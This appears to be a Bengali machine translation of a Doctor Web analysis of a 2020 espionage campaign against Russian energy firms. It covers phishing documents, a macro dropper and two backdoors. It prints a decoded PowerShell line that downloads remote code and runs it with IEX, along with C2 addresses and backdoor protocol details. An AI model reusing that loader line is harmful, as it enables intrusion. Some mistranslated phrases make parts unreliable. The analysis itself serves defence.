আমরা রাশিয়ার জ্বালানি ও শক্তি কমপ্লেক্সে লক্ষ্যবস্তু গুপ্তচর হামলার তদন্ত করছি

কম্পিউটার নিরাপত্তা ঘটনা তদন্তে আমাদের অভিজ্ঞতা দেখায় যে ই-মেইল এখনও আক্রমণকারীদের দ্বারা প্রাথমিকভাবে আক্রমণ করা নেটওয়ার্ক অবকাঠামোতে প্রবেশ করতে ব্যবহৃত সবচেয়ে সাধারণ চ্যানেলগুলির মধ্যে একটি। একটি সন্দেহজনক (বা তাই নয়) ইমেলের সাথে একটি অসতর্ক পদক্ষেপ আরও সংক্রমণের জন্য একটি এন্ট্রি পয়েন্ট হয়ে ওঠে, তাই সাইবার অপরাধীরা সক্রিয়ভাবে সামাজিক প্রকৌশল পদ্ধতি ব্যবহার করে, যদিও বিভিন্ন সাফল্যের সাথে।

এই পোস্টে, আমরা একটি স্প্যাম প্রচারাভিযানের বিষয়ে আমাদের সাম্প্রতিক তদন্ত সম্পর্কে কথা বলতে চাই যা রাশিয়ান জ্বালানি এবং শক্তি সংস্থাগুলিকে লক্ষ্য করে। সমস্ত আক্রমণ জাল ইমেল ব্যবহার করে একই পরিস্থিতি অনুসরণ করেছে, যখন কেউ এই ইমেলের পাঠ্য বিষয়বস্তুতে খুব বেশি প্রচেষ্টা করেছে বলে মনে হয় না।

গোয়েন্দা সেবা

এটি সবই 2020 সালের এপ্রিলের শেষের দিকে শুরু হয়েছিল, যখন ডক্টর ওয়েব ভাইরাস বিশ্লেষকরা একটি স্প্যাম প্রচারাভিযান সনাক্ত করেছিলেন যার সময় হ্যাকাররা রাশিয়ান জ্বালানী এবং শক্তি কমপ্লেক্সের বেশ কয়েকটি উদ্যোগের কর্মীদের একটি আপডেট টেলিফোন ডিরেক্টরি পাঠিয়েছিল। অবশ্যই, এটি যত্নের একটি সহজ কাজ ছিল না, যেহেতু রেফারেন্স বইটি বাস্তব ছিল না, এবং .docx নথিগুলি দূরবর্তী সংস্থান থেকে দুটি ছবি লোড করেছে।

তাদের মধ্যে একটি নিউজ[.]zannews[.]com সার্ভার থেকে ব্যবহারকারীর কম্পিউটারে ডাউনলোড করা হয়েছিল। এটি লক্ষণীয় যে ডোমেন নামটি কাজাখস্তানের দুর্নীতিবিরোধী মিডিয়া সেন্টার - zannews[.]kz-এর ডোমেনের অনুরূপ। অন্যদিকে, ব্যবহৃত ডোমেনটি অবিলম্বে TOPNEWS নামে পরিচিত আরেকটি 2015 প্রচারণার কথা মনে করিয়ে দেয়, যেটি ICEFOG ব্যাকডোর ব্যবহার করেছিল এবং ট্রোজান কন্ট্রোল ডোমেনগুলির নামে "সংবাদ" সাবস্ট্রিং ছিল। আরেকটি আকর্ষণীয় বৈশিষ্ট্য ছিল যে বিভিন্ন প্রাপককে ইমেল পাঠানোর সময়, ছবি ডাউনলোডের অনুরোধগুলি হয় ভিন্ন অনুরোধের পরামিতি বা অনন্য ছবির নাম ব্যবহার করে।

আমরা বিশ্বাস করি যে এটি একটি "নির্ভরযোগ্য" ঠিকানা নির্ধারণ করার জন্য তথ্য সংগ্রহ করার জন্য করা হয়েছিল, যিনি পরবর্তীতে সঠিক সময়ে চিঠিটি খুলবেন। দ্বিতীয় সার্ভার থেকে ছবিটি ডাউনলোড করতে, এসএমবি প্রোটোকল ব্যবহার করা হয়েছিল, যা প্রাপ্ত নথিটি খোলেন এমন কর্মচারীদের কম্পিউটার থেকে NetNTLM হ্যাশ সংগ্রহ করতে করা যেতে পারে।

এবং এখানে একটি জাল রেফারেন্স বই সহ চিঠিটি রয়েছে:

এই বছরের জুন মাসে, হ্যাকাররা ছবি আপলোড করার জন্য একটি নতুন ডোমেন নাম ব্যবহার করা শুরু করে: স্পোর্টস[.]মানহাজনিউজ[.]কম। বিশ্লেষণে দেখা গেছে যে manhajnews[.]com সাবডোমেন কমপক্ষে সেপ্টেম্বর 2019 সাল থেকে স্প্যাম মেলিংয়ে ব্যবহার করা হয়েছে। এই প্রচারণার লক্ষ্যগুলির মধ্যে একটি বড় রাশিয়ান বিশ্ববিদ্যালয় হতে পরিণত হয়েছিল।

এছাড়াও জুনের মধ্যে, আক্রমণের সংগঠকরা তাদের চিঠিগুলির জন্য একটি নতুন পাঠ্য নিয়ে এসেছিল: এবারের নথিতে শিল্পের উন্নয়ন সম্পর্কে তথ্য রয়েছে। চিঠির পাঠ্যটি স্পষ্টভাবে ইঙ্গিত করে যে এর লেখক হয় রাশিয়ান ভাষার স্থানীয় স্পিকার ছিলেন না, বা ইচ্ছাকৃতভাবে নিজের সম্পর্কে এমন একটি ছাপ তৈরি করেছিলেন। দুর্ভাগ্যবশত, শিল্প বিকাশের ধারণাগুলি, বরাবরের মতো, শুধুমাত্র একটি কভার হিসাবে পরিণত হয়েছে - নথিটি আবার দুটি ছবি ডাউনলোড করেছে, যখন সার্ভারটি [.]inklingpaper[.]com ডাউনলোড করতে পরিবর্তন করা হয়েছিল৷

পরবর্তী উদ্ভাবন জুলাই মাসে অনুসরণ করা হয়. অ্যান্টি-ভাইরাস প্রোগ্রামগুলির দ্বারা দূষিত নথিগুলির সনাক্তকরণকে বাইপাস করার প্রচেষ্টা হিসাবে, আক্রমণকারীরা একটি পাসওয়ার্ড দিয়ে এনক্রিপ্ট করা মাইক্রোসফ্ট ওয়ার্ড নথিগুলি ব্যবহার করতে শুরু করে৷ একই সময়ে, আক্রমণকারীরা একটি ক্লাসিক সামাজিক প্রকৌশল কৌশল ব্যবহার করার সিদ্ধান্ত নিয়েছে - একটি পুরস্কার বিজ্ঞপ্তি।

আপিলের টেক্সট আবার একই স্টাইলে লেখা হয়েছে, যা সম্বোধনকারীদের মধ্যে অতিরিক্ত সন্দেহের সৃষ্টি করেছে। ছবিটি ডাউনলোড করার জন্য সার্ভারও পরিবর্তন হয়নি।

মনে রাখবেন যে সমস্ত ক্ষেত্রে, মেইলে নিবন্ধিত ইমেলগুলি [.]ru এবং yandex [.]ru ডোমেনগুলি চিঠি পাঠানোর জন্য ব্যবহার করা হয়েছিল৷

আক্রমণ

সেপ্টেম্বর 2020 এর শুরুতে, এটি কর্মের জন্য সময়। আমাদের ভাইরাস বিশ্লেষকরা আক্রমণের একটি নতুন তরঙ্গ সনাক্ত করেছেন, যেখানে আক্রমণকারীরা আবার টেলিফোন ডিরেক্টরি আপডেট করার অজুহাতে চিঠি পাঠিয়েছে। যাইহোক, এবার সংযুক্তিতে একটি দূষিত ম্যাক্রো রয়েছে।

সংযুক্ত নথি খোলার সময়, ম্যাক্রো দুটি ফাইল তৈরি করেছে:

• VBS স্ক্রিপ্ট %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, যা ব্যাচ ফাইল চালানোর উদ্দেশ্যে ছিল;
• ব্যাচ ফাইল %APPDATA%configstest.bat নিজেই, যা অস্পষ্ট করা হয়েছে।

তার কাজের সারমর্ম হল নির্দিষ্ট পরামিতি সহ পাওয়ারশেল শেল চালু করা। শেলে পাস করা পরামিতিগুলিকে কমান্ডে ডিকোড করা হয়:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

উপস্থাপিত কমান্ডগুলি থেকে অনুসরণ করা হয়েছে, যে ডোমেন থেকে পেলোড লোড করা হয় সেটি আবার একটি সংবাদ সাইট হিসাবে ছদ্মবেশী হয়। আমার স্নাতকের লোডার, যার একমাত্র কাজ হল কন্ট্রোল সার্ভার থেকে শেলকোড গ্রহণ করা এবং এটি চালানো। আমরা দুই ধরনের ব্যাকডোর শনাক্ত করতে পেরেছি যা ভিকটিম এর পিসিতে ইনস্টল করা যেতে পারে।

BackDoor.Siggen2.3238

প্রথম এক BackDoor.Siggen2.3238 - আমাদের বিশেষজ্ঞদের দ্বারা পূর্বে সম্মুখীন হয়নি, যখন অন্যান্য অ্যান্টি-ভাইরাস বিক্রেতাদের দ্বারা এই প্রোগ্রামের কোনো উল্লেখ পাওয়া যায়নি।

এই প্রোগ্রামটি C++ এ লেখা একটি ব্যাকডোর এবং 32-বিট উইন্ডোজ ওএসে চলে।

BackDoor.Siggen2.3238 কন্ট্রোল সার্ভারের সাথে দুটি প্রোটোকলের মাধ্যমে যোগাযোগ করতে সক্ষম: HTTP এবং HTTPS। তদন্তকৃত নমুনা HTTPS প্রোটোকল ব্যবহার করে। সার্ভার অনুরোধ নিম্নলিখিত ব্যবহারকারী-এজেন্ট ব্যবহার করে:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

এই ক্ষেত্রে, সমস্ত অনুরোধ নিম্নলিখিত পরামিতিগুলির সেটের সাথে সরবরাহ করা হয়:

%s;type=%s;length=%s;realdata=%send

যেখানে প্রতিটি লাইন %s যথাক্রমে দ্বারা প্রতিস্থাপিত হয়:

• আক্রান্ত কম্পিউটারের শনাক্তকারী,
• যে ধরনের অনুরোধ পাঠানো হচ্ছে,
• রিয়েলডেটা ফিল্ডে ডেটার দৈর্ঘ্য,
• তথ্য।

সংক্রামিত সিস্টেম সম্পর্কে তথ্য সংগ্রহের পর্যায়ে, ব্যাকডোরটি এইরকম একটি স্ট্রিং তৈরি করে:

lan=%s;cmpname=%s;username=%s;version=%s;

যেখানে lan হল সংক্রামিত কম্পিউটারের IP ঠিকানা, cmpname হল কম্পিউটারের নাম, ব্যবহারকারীর নাম হল ব্যবহারকারীর নাম, সংস্করণ হল স্ট্রিং 0.0.4.03।

শনাক্তকারী sysinfo সহ এই তথ্যটি https[:]//31.214[.]157.14/log.txt-এ অবস্থিত ব্যবস্থাপনা সার্ভারে একটি POST অনুরোধের মাধ্যমে পাঠানো হয়। জবাবে যদি BackDoor.Siggen2.3238 একটি হার্ট সংকেত পায়, সংযোগটি সফল বলে বিবেচিত হয় এবং ব্যাকডোর সার্ভারের সাথে প্রধান যোগাযোগ চক্র শুরু করে।

অপারেশন নীতির আরও সম্পূর্ণ বিবরণ BackDoor.Siggen2.3238 আমাদের মধ্যে আছে ভাইরাস লাইব্রেরি.

ব্যাকডোর.হোয়াইটবার্ড.23

দ্বিতীয় প্রোগ্রাম হল ব্যাকডোর Backdoor.Whitebird এর একটি পরিবর্তন যা কাজাখস্তানের একটি রাষ্ট্রীয় প্রতিষ্ঠানের ঘটনা থেকে ইতিমধ্যেই আমাদের কাছে পরিচিত। এই সংস্করণটি C++ এ লেখা এবং এটি 32-বিট এবং 64-বিট উভয় উইন্ডোজ অপারেটিং সিস্টেমে কাজ করার জন্য ডিজাইন করা হয়েছে।

এই ধরনের অধিকাংশ প্রোগ্রামের মত, ব্যাকডোর.হোয়াইটবার্ড.23 কমান্ড এবং কন্ট্রোল সার্ভারের সাথে একটি এনক্রিপ্ট করা সংযোগ স্থাপন করার জন্য ডিজাইন করা হয়েছে এবং একটি সংক্রামিত কম্পিউটারের অননুমোদিত নিয়ন্ত্রণ। একটি ড্রপার ব্যবহার করে একটি আপসহীন সিস্টেমে ইনস্টল করা হয়েছে BackDoor.Siggen2.3244.

আমরা যে নমুনাটি পরীক্ষা করেছি তা দুটি রপ্তানি সহ একটি দূষিত লাইব্রেরি ছিল:

• গুগল প্লে,
• পরীক্ষা করুন।

এর কাজের শুরুতে, এটি বাইট 0x99 সহ XOR অপারেশনের উপর ভিত্তি করে একটি অ্যালগরিদম সহ ব্যাকডোরের বডিতে সেলাই করা কনফিগারেশনটিকে ডিক্রিপ্ট করে। কনফিগারেশন এর মত দেখাচ্ছে:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

এর স্থায়ী অপারেশন নিশ্চিত করতে, ব্যাকডোরটি ক্ষেত্রের মধ্যে নির্দিষ্ট মান পরিবর্তন করে কর্মঘন্টা কনফিগারেশন. ক্ষেত্রটিতে 1440 বাইট রয়েছে, যা 0 বা 1 মান নেয় এবং দিনে প্রতি ঘন্টার প্রতি মিনিটের প্রতিনিধিত্ব করে। প্রতিটি নেটওয়ার্ক ইন্টারফেসের জন্য একটি পৃথক থ্রেড তৈরি করে যা ইন্টারফেসে শোনে এবং সংক্রামিত কম্পিউটার থেকে প্রক্সি সার্ভারে অনুমোদন প্যাকেটগুলি সন্ধান করে। যখন এই ধরনের একটি প্যাকেট সনাক্ত করা হয়, ব্যাকডোর তার তালিকায় প্রক্সি সার্ভার সম্পর্কে তথ্য যোগ করে। উপরন্তু, এটি WinAPI এর মাধ্যমে একটি প্রক্সির উপস্থিতি পরীক্ষা করে InternetQueryOptionW.

প্রোগ্রামটি বর্তমান মিনিট এবং ঘন্টা পরীক্ষা করে এবং ক্ষেত্রের ডেটার সাথে তুলনা করে কর্মঘন্টা কনফিগারেশন. দিনের সংশ্লিষ্ট মিনিটের মান যদি অ-শূন্য হয়, তাহলে এটি নিয়ন্ত্রণ সার্ভারের সাথে একটি সংযোগ স্থাপন করে।

সার্ভারে একটি সংযোগ স্থাপন করা ক্লায়েন্ট এবং সার্ভারের মধ্যে একটি TLS সংস্করণ 1.0 সংযোগ তৈরির অনুকরণ করে। ব্যাকডোরের শরীরে দুটি বাফার রয়েছে।

প্রথম বাফারে TLS সংস্করণ 1.0 ক্লায়েন্ট হ্যালো প্যাকেট রয়েছে।

দ্বিতীয় বাফারে রয়েছে TLS 1.0 ক্লায়েন্ট কী এক্সচেঞ্জ প্যাকেট যার দৈর্ঘ্য 0x100 বাইট, চেঞ্জ সাইফার স্পেক, এনক্রিপ্ট করা হ্যান্ডশেক মেসেজ।

একটি ক্লায়েন্ট হ্যালো প্যাকেট পাঠানোর সময়, ব্যাকডোর বর্তমান সময়ের 4 বাইট এবং ক্লায়েন্ট র্যান্ডম ক্ষেত্রে 28 বাইট সিউডো-র্যান্ডম ডেটা লিখে, যা নিম্নরূপ গণনা করা হয়:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

প্রাপ্ত প্যাকেট নিয়ন্ত্রণ সার্ভারে পাঠানো হয়। প্রতিক্রিয়াতে (সার্ভার হ্যালো প্যাকেট) নিম্নলিখিতগুলি চেক করা হয়েছে:

• TLS প্রোটোকল সংস্করণ 1.0 এর সাথে সম্মতি;
• টাইমস্ট্যাম্পের চিঠিপত্র (র্যান্ডম ডেটা প্যাকেট ক্ষেত্রের প্রথম 4 বাইট) সার্ভার দ্বারা নির্দিষ্ট টাইমস্ট্যাম্পের সাথে ক্লায়েন্ট দ্বারা নির্দিষ্ট করা;
• ক্লায়েন্ট এবং সার্ভারে র্যান্ডম ডেটা ক্ষেত্রের টাইমস্ট্যাম্পের পরে প্রথম 4 বাইটের মিল।

নির্দিষ্ট মিলের ক্ষেত্রে, ব্যাকডোর একটি ক্লায়েন্ট কী এক্সচেঞ্জ প্যাকেট প্রস্তুত করে। এটি করার জন্য, এটি ক্লায়েন্ট কী এক্সচেঞ্জ প্যাকেজে সর্বজনীন কী, সেইসাথে এনক্রিপ্ট করা হ্যান্ডশেক বার্তা প্যাকেজে এনক্রিপশন IV এবং এনক্রিপশন ডেটা পরিবর্তন করে।

ব্যাকডোর তারপর কমান্ড এবং কন্ট্রোল সার্ভার থেকে প্যাকেটটি গ্রহণ করে, TLS প্রোটোকল সংস্করণটি 1.0 কিনা তা পরীক্ষা করে এবং তারপরে আরও 54 বাইট (প্যাকেট বডি) পায়। এটি সংযোগ সেটআপ সম্পূর্ণ করে।

অপারেশন নীতির আরও সম্পূর্ণ বিবরণ ব্যাকডোর.হোয়াইটবার্ড.23 আমাদের মধ্যে আছে ভাইরাস লাইব্রেরি.

উপসংহার এবং সিদ্ধান্তে

নথি, ম্যালওয়্যার এবং ব্যবহৃত পরিকাঠামোর বিশ্লেষণ আমাদের আত্মবিশ্বাসের সাথে বলতে দেয় যে আক্রমণটি চীনা APT গ্রুপগুলির একটি দ্বারা প্রস্তুত করা হয়েছিল। একটি সফল আক্রমণের ক্ষেত্রে ক্ষতিগ্রস্তদের কম্পিউটারে ইনস্টল করা পিছনের দরজাগুলির কার্যকারিতা দেওয়া, সংক্রমণ অন্তত আক্রমণ করা সংস্থাগুলির কম্পিউটার থেকে গোপনীয় তথ্য চুরির দিকে নিয়ে যায়।

উপরন্তু, একটি খুব সম্ভাব্য দৃশ্য একটি নির্দিষ্ট ফাংশন সহ স্থানীয় সার্ভারগুলিতে বিশেষায়িত ট্রোজান ইনস্টলেশন। এগুলো হতে পারে ডোমেইন কন্ট্রোলার, মেইল ​​সার্ভার, ইন্টারনেট গেটওয়ে ইত্যাদি। যেমন আমরা উদাহরণে দেখেছি কাজাখস্তানের ঘটনা, এই ধরনের সার্ভার বিভিন্ন কারণে আক্রমণকারীদের বিশেষ আগ্রহের বিষয়।

উত্স: www.habr.com